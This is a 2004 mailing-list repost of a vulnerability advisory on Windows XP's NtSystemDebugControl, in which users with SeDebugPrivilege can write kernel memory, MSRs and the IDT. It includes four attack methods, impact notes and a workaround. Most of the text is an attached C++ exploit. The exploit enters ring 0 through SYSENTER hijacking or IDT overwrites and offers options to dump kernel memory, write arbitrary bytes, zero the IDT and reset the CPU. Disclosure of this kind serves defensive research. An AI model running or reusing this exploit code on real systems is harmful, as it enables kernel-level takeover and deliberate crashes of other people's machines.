FW: Multiple WinXP kernel vulns can give user mode programs kernel mode privileges
"Steve W. Manzuik" <[email protected]>
| Newsgroups | gmane.comp.security.vulnerabilities.watch.announce |
|---|---|
| Message-ID | <[email protected]> |
> -----Original Message----- > From: first last [mailto:[email protected]] > Sent: Wednesday, February 18, 2004 3:15 PM > To: [email protected]; [email protected] > Subject: Multiple WinXP kernel vulns can give user mode > programs kernel mode privileges > > Multiple WinXP kernel vulns can give user mode programs > kernel mode privileges > > Summary > ======= > > There exist several vulnerabilities in one of Windows XP > kernel's native API functions which allow any user with the > SeDebugPrivilege privilege to execute arbitrary code in > kernel mode, and read from and write to any memory address, > including kernel memory. > > Tested systems > ============== > > Windows XP Pro SP1 with latest patches > > It's likely that Windows 2003 also is vulnerable. > > Details > ======= > > ZwSystemDebugControl(), exported from ntdll.dll, calls a > Windows operating system function NtSystemDebugControl(). > This function is executed in ring 0 (kernel mode) and is > meant to be used by user mode debuggers having the > SeDebugPrivilege privilege. > > Vulnerability #1, enter ring 0 method #1 - SYSENTER/SYSCALL instrs: > > This method writes to IA32_SYSENTER_EIP MSR by calling the kernel > (NtSystemDebugControl()) and changing the MSR register to > point to our code. > Next time we execute the SYSENTER instruction, we're in ring > 0 and have total control of the processor. Note that AMD > processors may also support the SYSCALL instruction which > behaves like SYSENTER and could also be used to enter ring 0. > <end vuln #1> > > Vulnerability #2, enter ring 0 method #2 - I/O R/W kernel sub-funcs: > > This method writes to kernel memory. Modify an (preferably > unused) IDT entry with a pointer to your code and execute an > INT n instruction. > Method1_WriteMemByte() uses a bug in the read I/O > sub-function of NtSystemDebugControl(). The pointers in the > IO_STRUCT aren't checked and we can exploit this bug to write > to kernel memory. Since the kernel reads from an I/O port, we > must first control the I/O port's value. This is easy since > every PC has a BIOS POST port 80h. This is an 8-bit > read/write port used by the BIOS during POST. If we first > write to it, and then later read it, we can make the kernel > write any byte to any address. > <end vuln #2> > > Vulnerability #3, enter ring 0 method #3 - bus R/W kernel sub-funcs: > > Same as Method #2 only using DebugSysReadBusData/DebugSysWriteBusData > sub-functions which will call the HAL to read and write bus > data. The pointer in the BUS_STRUCT is not verified to be > pointing to user data before calling the HAL and we can > exploit this bug to write to the IDT and get ring 0 access. > This method uses CMOS index 0Eh as our controllable byte. > <end vuln #3> > > Vulnerability #4, enter ring 0 method #4 - direct HW access: > > Since the user mode program has direct hardware access, it > can also read from and write to kernel memory with the help > of hardware which can access the processor's RAM. Similar to > methods #2 and #3 only more complex. > <end vuln #4> > > I have attached source code to test for methods #1-#3 and a > few other options to show what a user mode program can do. > Run it with /test1, /test2, and /test3 command line options > to test your system. > > Impact > ====== > > Any user with the SeDebugPrivilege privilege could execute > arbitrary code as the kernel, and read from and write to any > address the kernel can. The program can do anything to the > computer the kernel can, eg. reprogram any computer hardware, > such as the BIOS flash memory or patch the kernel in memory. > > Since the user needs the SeDebugPrivilege, a privilege > normally only given to administrators, to exploit these > vulnerabilities, these are not serious vulnerabilities. The > user is also normally an admin so he or she could easily > install a device driver to become part of the kernel instead > of exploiting these vulnerabilities. > > Microsoft says it's OK for user mode programs to write to the > kernel so long as you have the SeDebugPrivilege privilege, > and will not fix anything. > > Workaround > ========== > > Go to "Local Security Policy\ Security Settings\ Local > Policies\ User Rights Assignments" and remove all users and > groups from "Debug Programs" and restart your computer. Note > that any malicious program with administrator rights could > re-enable the SeDebugPrivilege privilege and wait for the > next reboot and then gain kernel access. Thus this isn't a > very good workaround if you always log on as the administrator. > > _________________________________________________________________ > Click, drag and drop. My MSN is the simple way to design your > homepage. > http://click.atdmt.com/AVE/go/onm00200364ave/direct/01/ >
xploit_dbg.cpp
(text/plain, 20.8 KB)
/* * Discovered and coded Jan 25, 2004 * Copyright (C)2004 [email protected] */ #include <windows.h> #include <stdio.h> typedef int NTSTATUS; #define NTAPI __stdcall const IA32_SYSENTER_CS = 0x174; const IA32_SYSENTER_ESP = 0x175; const IA32_SYSENTER_EIP = 0x176; const SelCodeKernel = 0x8; const CmosIndx = 0x0E; // CMOS Diagnostic Status const RdWrIoPort = 0x80; #define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;} #define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;} typedef enum _DEBUG_CONTROL_CODE { DebugSysReadIoSpace = 14, DebugSysWriteIoSpace = 15, DebugSysReadMsr = 16, DebugSysWriteMsr = 17, DebugSysReadBusData = 18, DebugSysWriteBusData = 19, } DEBUG_CONTROL_CODE; typedef struct _MSR_STRUCT { DWORD MsrNum; // MSR number DWORD NotUsed; // Never accessed by the kernel DWORD MsrLo; // IN (write) or OUT (read): Low 32 bits of MSR DWORD MsrHi; // IN (write) or OUT (read): High 32 bits of MSR } MSR_STRUCT; typedef struct _IO_STRUCT { DWORD IoAddr; // IN: Aligned to NumBytes,I/O address DWORD Reserved1; // Never accessed by the kernel PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer DWORD NumBytes; // IN: # bytes to read/write. Only use 1, 2, or 4. DWORD Reserved4; // Must be 1 DWORD Reserved5; // Must be 0 DWORD Reserved6; // Must be 1 DWORD Reserved7; // Never accessed by the kernel } IO_STRUCT; // Copied from the Windows DDK typedef enum _BUS_DATA_TYPE { ConfigurationSpaceUndefined = -1, Cmos, EisaConfiguration, Pos, CbusConfiguration, PCIConfiguration, VMEConfiguration, NuBusConfiguration, PCMCIAConfiguration, MPIConfiguration, MPSAConfiguration, PNPISAConfiguration, SgiInternalConfiguration, MaximumBusDataType } BUS_DATA_TYPE, *PBUS_DATA_TYPE; // See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of each field typedef struct _BUS_STRUCT { ULONG Offset; PVOID Buffer; ULONG Length; BUS_DATA_TYPE BusDataType; ULONG BusNumber; ULONG SlotNumber; } BUS_STRUCT; typedef NTSTATUS (NTAPI *PZwSystemDebugControl)( DEBUG_CONTROL_CODE ControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength, PULONG ReturnLength ); PZwSystemDebugControl ZwSystemDebugControl = NULL; enum Ring0Method { Method1, Method2, }; struct OldCpuState { Ring0Method meth; MSR_STRUCT msr[3]; DWORD AffinityMask; DWORD EFLAGS, CS, SS, OldIdtDesc[2]; }; void help() { printf("Usage: name_of_program [option [option [...]]]\n"); printf("/test1 - test for SYSENTER vuln\n"); printf("/test2 - test for I/O write to mem vuln\n"); printf("/test3 - test for bus write to mem vuln\n"); printf("/reset - reset CPU in ring 0\n"); printf("/zeroidt - zero IDT (reboots PC)\n"); printf("/wrmem <addr> <byte> - write byte to mem\n"); printf("/rdmsr <num> - read MSR\n"); printf("/wrmsr <num> <hi> <lo> - write MSR\n"); printf("/rdio <port> <size> - read I/O port\n"); printf("/wrio <port> <size> <value> - write I/O port\n"); printf("/dump <addr> <size> - dump memory from ring 0\n"); exit(0); } int rdmsr(int MsrNum, MSR_STRUCT& msr) { msr.MsrNum = MsrNum; return ZwSystemDebugControl(DebugSysReadMsr, &msr, sizeof(msr), NULL, 0, NULL) >= 0; } int wrmsr(int MsrNum, MSR_STRUCT& msr) { msr.MsrNum = MsrNum; return ZwSystemDebugControl(DebugSysWriteMsr, &msr, sizeof(msr), NULL, 0, NULL) >= 0; } void PrintMsr(MSR_STRUCT& msr) { printf("MSR %08X = %08X_%08X\n", msr.MsrNum, msr.MsrHi, msr.MsrLo); } int HasSysEnter() { int retval = 0; __try { __asm { mov eax,1 cpuid shr edx,12 adc retval,0 } } __except (EXCEPTION_EXECUTE_HANDLER) { } return retval; } int SetProcessor(DWORD NewAffinityMask, DWORD* pOldAffinityMask) { DWORD tmp; FCHK(!pOldAffinityMask || GetProcessAffinityMask(GetCurrentProcess(), pOldAffinityMask, &tmp)); FCHK(SetProcessAffinityMask(GetCurrentProcess(), NewAffinityMask)); return 1; } /* * Returns < 0 on error. If ppAddr != NULL, returns 0x100 on success. * If ppAddr == NULL, returns byte read on success. */ int CmosRead(int offs, BYTE** ppAddr = NULL) { BYTE buf; BUS_STRUCT bus; bus.BusDataType = Cmos; bus.BusNumber = 0; bus.SlotNumber = offs; bus.Buffer = ppAddr ? *ppAddr : &buf; bus.Offset = 0; bus.Length = 1; if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0, NULL) < 0) return -1; else return ppAddr ? 0x100 : buf; } /* * Returns 0 on failure, 1 on success */ int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL) { BUS_STRUCT bus; bus.BusDataType = Cmos; bus.BusNumber = 0; bus.SlotNumber = offs; bus.Buffer = ppAddr == NULL ? &val : *ppAddr; bus.Offset = 0; bus.Length = 1; return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL, 0, NULL) >= 0; } /* * Write a byte to any location by exploiting another bug in the kernel. This function * uses DebugSysWriteIoSpace and DebugSysReadIoSpace to write the byte to any address. * This code must execute in ring 3. */ int Method1_WriteMemByte(DWORD MemAddr, BYTE Value) { IO_STRUCT io; memset(&io, 0, sizeof(io)); io.IoAddr = RdWrIoPort; io.pBuffer = &Value; io.NumBytes = 1; io.Reserved4 = 1; io.Reserved6 = 1; if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0, NULL) < 0) return 0; memset(&io, 0, sizeof(io)); io.IoAddr = RdWrIoPort; io.pBuffer = (PVOID)(ULONG_PTR)MemAddr; io.NumBytes = 1; io.Reserved4 = 1; io.Reserved6 = 1; if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, NULL) < 0) return 0; return 1; } /* * Read a byte from any location by exploiting another bug in the kernel. This function * uses DebugSysWriteIoSpace and DebugSysReadIoSpace to read the byte from any address. * This code must execute in ring 3. */ int Method1_ReadMemByte(DWORD MemAddr) { BYTE Value; IO_STRUCT io; memset(&io, 0, sizeof(io)); io.IoAddr = RdWrIoPort; io.pBuffer = (PVOID)(ULONG_PTR)MemAddr; io.NumBytes = 1; io.Reserved4 = 1; io.Reserved6 = 1; if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0, NULL) < 0) return -1; memset(&io, 0, sizeof(io)); io.IoAddr = RdWrIoPort; io.pBuffer = &Value; io.NumBytes = 1; io.Reserved4 = 1; io.Reserved6 = 1; if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, NULL) < 0) return -1; return Value; } int CmosTest() { int OldVal = CmosRead(CmosIndx); if (OldVal < 0) return 0; static int HasTested = 0; if (HasTested == 0) { HasTested = -1; if (!CmosWrite(CmosIndx, 0x55) || CmosRead(CmosIndx) != 0x55 || !CmosWrite(CmosIndx, 0xAA) || CmosRead(CmosIndx) != 0xAA || !CmosWrite(CmosIndx, (BYTE)OldVal)) { printf("There's something wrong with your CMOS\n"); return 0; } HasTested = 1; } else if (HasTested == -1) return 0; return 1; } /* * Write a byte to any location by exploiting another bug in the kernel. This function * uses DebugSysReadBusData and DebugSysWriteBusData to write the byte to any address. * This code must execute in ring 3. */ int Method2_WriteMemByte(DWORD MemAddr, BYTE Value) { if (!CmosTest()) return 0; int OldVal = CmosRead(CmosIndx); if (OldVal < 0) return 0; BYTE* p = (BYTE*)(ULONG_PTR)MemAddr; if (!CmosWrite(CmosIndx, Value) || CmosRead(CmosIndx, &p) < 0 || !CmosWrite(CmosIndx, OldVal)) return 0; return 1; } /* * Read a byte from any location by exploiting another bug in the kernel. This function * uses DebugSysReadBusData and DebugSysWriteBusData to read the byte from any address. * This code must execute in ring 3. */ int Method2_ReadMemByte(DWORD MemAddr) { int OldVal, RetVal; if (!CmosTest()) return -1; BYTE* p = (BYTE*)(ULONG_PTR)MemAddr; if ((OldVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, 0, &p) || (RetVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, (BYTE)OldVal)) return -1; return RetVal; } static int MemAccessMethType = -1; int SetMemAccessMeth(int NewMeth) { int old = MemAccessMethType; if (NewMeth == -1 || NewMeth == 1 || NewMeth == 2) MemAccessMethType = NewMeth; return old; } int WriteMemByte(DWORD MemAddr, BYTE Value) { switch (MemAccessMethType) { case 1: return Method1_WriteMemByte(MemAddr, Value); case 2: return Method2_WriteMemByte(MemAddr, Value); case -1: default: return Method1_WriteMemByte(MemAddr, Value) || Method2_WriteMemByte(MemAddr, Value); } } int ReadMemByte(DWORD MemAddr) { switch (MemAccessMethType) { case 1: return Method1_ReadMemByte(MemAddr); case 2: return Method2_ReadMemByte(MemAddr); case -1: default: int RetVal; if ((RetVal = Method1_ReadMemByte(MemAddr)) >= 0 || (RetVal = Method2_ReadMemByte(MemAddr)) >= 0) (void)0 /* Nothing */; return RetVal; } } /* * Tries to enter ring 0 by overwriting IA32_SYSENTER_EIP and executing SYSENTER. * Returns 1 on success. If it returns 1, EFLAGS.IF=0. */ int Method1_EnterRing0(OldCpuState& old) { old.meth = Method1; if (!HasSysEnter()) return 0; FCHK(SetProcessor(1, &old.AffinityMask)); FCHK2(rdmsr(IA32_SYSENTER_CS, old.msr[0]), cleanup); FCHK2(rdmsr(IA32_SYSENTER_ESP, old.msr[1]), cleanup); FCHK2(rdmsr(IA32_SYSENTER_EIP, old.msr[2]), cleanup); DWORD Ring0Addr; __asm { mov Ring0Addr,offset ring0_addr } Sleep(100); // A more reliable way is to block all interrupts through the PIC. MSR_STRUCT msr; if (old.msr[0].MsrLo == 0) // SYSENTER not enabled { // IMPORTANT: // I assume the OS sets up the GDT as follows: // base:ring0 code // ring0 data // ring3 code // ring3 data // Will crash eventually if it's not setup that way msr.MsrLo = SelCodeKernel; msr.MsrHi = 0; FCHK2(wrmsr(IA32_SYSENTER_CS, msr), cleanup); } msr.MsrHi = 0; msr.MsrLo = Ring0Addr; FCHK2(wrmsr(IA32_SYSENTER_EIP, msr), cleanup2); // Let's hope we won't get interrupted after this call __asm { mov ecx,esp // Hmm, can't assemble SYSENTER or DB 0F,34 jmp short $+3 mov eax,9090340Fh ring0_addr: mov esp,ecx // Hot dog! :) } return 1; cleanup2: if (old.msr[0].MsrLo == 0) wrmsr(IA32_SYSENTER_CS, old.msr[0]); cleanup: FCHK(SetProcessor(old.AffinityMask, NULL)); return 0; } /* * Enters ring 3 */ void Method1_LeaveRing0(OldCpuState& old) { MSR_STRUCT* pmsr = &old.msr[0]; __asm { mov ebx,pmsr mov ecx,[ebx] // IA32_SYSENTER_CS mov eax,[ebx+8] mov edx,[ebx+0Ch] test eax,eax jz skip1 wrmsr skip1: mov ecx,[ebx+10h] // IA32_SYSENTER_ESP mov eax,[ebx+10h+8] mov edx,[ebx+10h+0Ch] wrmsr mov ecx,[ebx+20h] // IA32_SYSENTER_EIP mov eax,[ebx+20h+8] mov edx,[ebx+20h+0Ch] wrmsr mov ecx,esp mov edx,offset ring3_code // Hmm, can't assemble SYSEXIT or DB 0F,35 jmp short $+3 mov eax,90350FFBh ring3_code: } if (old.msr[0].MsrLo == 0) // SYSENTER was not enabled wrmsr(old.msr[0].MsrNum, old.msr[0]); SetProcessor(old.AffinityMask, NULL); } /* * Tries to enter ring 0 by telling the kernel to write to the IDT with bytes we control. * Returns 1 on success. If it returns 1, EFLAGS.IF=0. */ int Method2_EnterRing0(OldCpuState& old) { old.meth = Method2; FCHK(SetProcessor(1, &old.AffinityMask)); DWORD Ring0Addr, EFLAGS, _CS, _SS; DWORD idt[2], idt_base, idt_limit; __asm { mov Ring0Addr,offset ring0_addr sidt idt+2 movzx eax,word ptr idt+2 mov idt_limit,eax mov eax,idt+4 mov idt_base,eax pushfd pop eax mov EFLAGS,eax mov word ptr _CS,cs mov word ptr _SS,ss } old.EFLAGS = EFLAGS; old.CS = _CS; old.SS = _SS; #define IntNum 0xFF if (IntNum*8 + 7 > idt_limit) { printf("ERROR: The interrupt number is outside the IDT. Change it and recompile.\n"); goto cleanup; } BYTE* pOldIdtDesc = (BYTE*)&old.OldIdtDesc; for (int i = 0; i < 8; i++) { int SomeByte; FCHK2((SomeByte = ReadMemByte(idt_base + IntNum*8 + i)) >= 0, cleanup); *pOldIdtDesc++ = (BYTE)SomeByte; } DWORD IdtDesc[2]; IdtDesc[0] = (SelCodeKernel << 16) | (Ring0Addr & 0xFFFF); IdtDesc[1] = (Ring0Addr & 0xFFFF0000) | 0xEE00; // 32-bit interrupt gate, DPL3 for (int i = 0; i < 8; i++) FCHK2(WriteMemByte(idt_base + IntNum*8 + i, *((BYTE*)&IdtDesc + i)), cleanup); __asm { xchg esp,eax int IntNum ring0_addr: xchg esp,eax // What do you know, it worked! } return 1; cleanup: FCHK(SetProcessor(old.AffinityMask, NULL)); return 0; } /* * Enters ring 3 */ void Method2_LeaveRing0(OldCpuState& old) { DWORD idt[2]; DWORD EFLAGS = old.EFLAGS; DWORD _CS = old.CS; DWORD _SS = old.SS; DWORD* pOldIdtDesc = &old.OldIdtDesc[0]; __asm { sidt idt+2 mov eax,idt+4 mov ecx,pOldIdtDesc mov edx,[ecx] mov ecx,[ecx+4] mov [eax+IntNum*8],edx mov [eax+IntNum*8+4],ecx mov eax,esp push _SS push eax mov eax,EFLAGS and eax,not (1 shl 0Eh) push eax push _CS push offset ring3_addr iretd ring3_addr: } SetProcessor(old.AffinityMask, NULL); } int EnterRing0(OldCpuState& old) { /* * Method2 is safer than Method1 */ return Method2_EnterRing0(old) || Method1_EnterRing0(old); } void LeaveRing0(OldCpuState& old) { switch (old.meth) { case Method1: Method1_LeaveRing0(old); break; case Method2: Method2_LeaveRing0(old); break; default: __asm jmp short $ } } int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable) { TOKEN_PRIVILEGES tok; tok.PrivilegeCount = 1; tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0; FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid)); FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL)); return 1; } void PrintDelay(int secs) { while (secs--) { printf("%d..", secs+1); Sleep(1000); } printf("NOW\n"); } void PrintVulnMsg(int failed) { if (!failed) printf("Your operating system is vulnerable to this exploit.\n"); else { printf("If this user account has the SeDebugPrivilege privilege then your\n"); printf("OS doesn't appear to be vulnerable.\n\n"); } } DWORD ReadMem(DWORD MemAddr, void* buf, DWORD bufsz) { if (!bufsz || !buf) return 0; #if 0 /* * Will crash XP if we read from non-present memory so don't use this code */ BYTE* p = (BYTE*)buf; for (DWORD i = 0; i < bufsz; i++) { int SomeByte; if ((SomeByte = ReadMemByte(MemAddr++)) < 0) break; p[i] = (BYTE)SomeByte; } return i; #else OldCpuState old; if (!EnterRing0(old)) return 0; DWORD ret_val; __asm { sub esp,8 sidt [esp+2] mov ebx,[esp+4] add esp,8 push dword ptr [ebx+0Eh*8] push dword ptr [ebx+0Eh*8+4] mov eax,offset xcpt_handler mov [ebx+0Eh*8],eax mov [ebx+0Eh*8+4],eax mov word ptr [ebx+0Eh*8+4],8E00h mov word ptr [ebx+0Eh*8+2],cs mov ecx,bufsz mov esi,MemAddr mov edi,buf rep movsb jmp skip_xcpt xcpt_handler: add esp,8 popfd pop eax skip_xcpt: pop dword ptr [ebx+0Eh*8+4] pop dword ptr [ebx+0Eh*8] mov eax,bufsz sub eax,ecx mov ret_val,eax } LeaveRing0(old); return ret_val; #endif } int DumpMem(DWORD MemAddr, DWORD size) { if (size == 0) return 1; if (MemAddr + size - 1 < MemAddr) return 0; DWORD OldMask; FCHK(SetProcessor(1, &OldMask)); int ret = 1; const BytesPerLine = 16; while (size) { BYTE buf[BytesPerLine]; DWORD addr = MemAddr - MemAddr % BytesPerLine; DWORD SizeRead = ReadMem(addr, buf, BytesPerLine); printf("%08X:", addr); for (int i = 0; i < BytesPerLine; i++) { if ((i & 3) == 0 && i != 0) printf("-"); else printf(" "); if (addr < MemAddr || addr > MemAddr+size-1) printf(" "); else if ((DWORD)i >= SizeRead) printf("??"); else printf("%02X", buf[i]); addr++; } printf(" "); addr = MemAddr - MemAddr % BytesPerLine; for (int i = 0; i < BytesPerLine; i++) { if (addr < MemAddr || addr > MemAddr+size-1) printf(" "); else if ((DWORD)i >= SizeRead) printf("?"); else if (buf[i] >= 0x20 && buf[i] <= 0x7E) printf("%c", buf[i]); else printf("."); addr++; } printf("\n"); size -= min(size, addr - MemAddr); MemAddr = addr; } SetProcessor(OldMask, NULL); return ret; } int main(int argc, char* argv[]) { HMODULE hNtdll; FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL); FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll, "ZwSystemDebugControl")) != NULL); HANDLE hToken; FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)); FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1)); for (int i = 1; i < argc; i++) { char* s = argv[i]; if (*s != '/' && *s != '-') help(); s++; if (!strcmp(s, "rdmsr") && i+1 < argc) { MSR_STRUCT msr; int num = strtoul(argv[++i], NULL, 0); if (rdmsr(num, msr)) PrintMsr(msr); else printf("rdmsr(%08X) failed\n", num); } else if (!strcmp(s, "wrmsr") && i+3 < argc) { MSR_STRUCT msr; int num = strtoul(argv[++i], NULL, 0); msr.MsrHi = strtoul(argv[++i], NULL, 0); msr.MsrLo = strtoul(argv[++i], NULL, 0); if (!wrmsr(num, msr)) { printf("wrmsr(%08X) failed\n", num); continue; } if (rdmsr(num, msr)) PrintMsr(msr); else printf("rdmsr(%08X) failed\n", num); } else if (!strcmp(s, "rdio") && i+2 < argc) { IO_STRUCT io; memset(&io, 0, sizeof(io)); DWORD Buffer; io.IoAddr = strtoul(argv[++i], NULL, 0); io.pBuffer = &Buffer; io.NumBytes = strtoul(argv[++i], NULL, 0); io.Reserved4 = 1; io.Reserved6 = 1; if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4) { printf("Size must be 1, 2, or 4 bytes\n"); continue; } if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, NULL) < 0) { printf("Could not read I/O space\n"); continue; } switch (io.NumBytes) { case 1: printf("0x%02X\n", (BYTE)Buffer); break; case 2: printf("0x%04X\n", (WORD)Buffer); break; case 4: printf("0x%08X\n", Buffer); break; default: printf("WTF\n"); break; } } else if (!strcmp(s, "wrio") && i+3 < argc) { IO_STRUCT io; memset(&io, 0, sizeof(io)); DWORD Buffer; io.IoAddr = strtoul(argv[++i], NULL, 0); io.pBuffer = &Buffer; io.NumBytes = strtoul(argv[++i], NULL, 0); io.Reserved4 = 1; io.Reserved6 = 1; Buffer = strtoul(argv[++i], NULL, 0); if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4) { printf("Size must be 1, 2, or 4 bytes\n"); continue; } if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0, NULL) < 0) { printf("Could not write to I/O space\n"); continue; } } else if (!strcmp(s, "reset")) { OldCpuState old; printf("Will reset computer in..."); PrintDelay(3); if (!EnterRing0(old)) { printf("Could not enter ring 0\n"); continue; } __asm { push 0 lidt [esp] pop esp inc esp push esp } LeaveRing0(old); printf("WTF\n"); } else if (!strcmp(s, "wrmem") && i+2 < argc) { DWORD MemAddr = strtoul(argv[++i], NULL, 0); BYTE Value = (BYTE)strtoul(argv[++i], NULL, 0); if (!WriteMemByte(MemAddr, Value)) { printf("Could not write the byte\n"); continue; } } else if (!strcmp(s, "zeroidt")) { DWORD OldMask; if (!SetProcessor(1, &OldMask)) { printf("SetProcessor() failed\n"); continue; } DWORD idt[2]; int idt_size, idt_base; __asm { sidt idt+2 movzx eax,word ptr idt+2 mov idt_size,eax mov eax,idt+4 mov idt_base,eax } printf("Will start writing to IDT @ %08X in...", idt_base); PrintDelay(3); for (int j = 0; j <= idt_size; j++) { if (!WriteMemByte(idt_base + j, 0x00)) { printf("Could not write the byte to address %08X\n", idt_base + j); break; } } if (j != 0) printf("WTF\n"); SetProcessor(OldMask, NULL); } else if (!strcmp(s, "test1")) { if (!HasSysEnter()) { printf("Sorry. SYSENTER/SYSEXIT instructions aren't supported by your processor.\n"); continue; } int failed = 1; OldCpuState old; printf("Testing SYSENTER vulnerability in..."); PrintDelay(3); if (Method1_EnterRing0(old)) { failed = 0; Method1_LeaveRing0(old); } PrintVulnMsg(failed); } else if (!strcmp(s, "test2")) { int failed = 1; OldCpuState old; printf("Testing I/O write to memory vulnerability in..."); PrintDelay(3); int OldWrite = SetMemAccessMeth(1); if (Method2_EnterRing0(old)) { failed = 0; Method2_LeaveRing0(old); } SetMemAccessMeth(OldWrite); PrintVulnMsg(failed); } else if (!strcmp(s, "test3")) { int failed = 1; OldCpuState old; printf("Testing bus write to memory vulnerability in..."); PrintDelay(3); int OldWrite = SetMemAccessMeth(2); if (Method2_EnterRing0(old)) { failed = 0; Method2_LeaveRing0(old); } SetMemAccessMeth(OldWrite); PrintVulnMsg(failed); } else if (!strcmp(s, "dump") && i+2 < argc) { DWORD MemAddr = strtoul(argv[++i], NULL, 0); DWORD size = strtoul(argv[++i], NULL, 0); if (!DumpMem(MemAddr, size)) printf("Could not dump memory\n"); } else { help(); } } return 1; }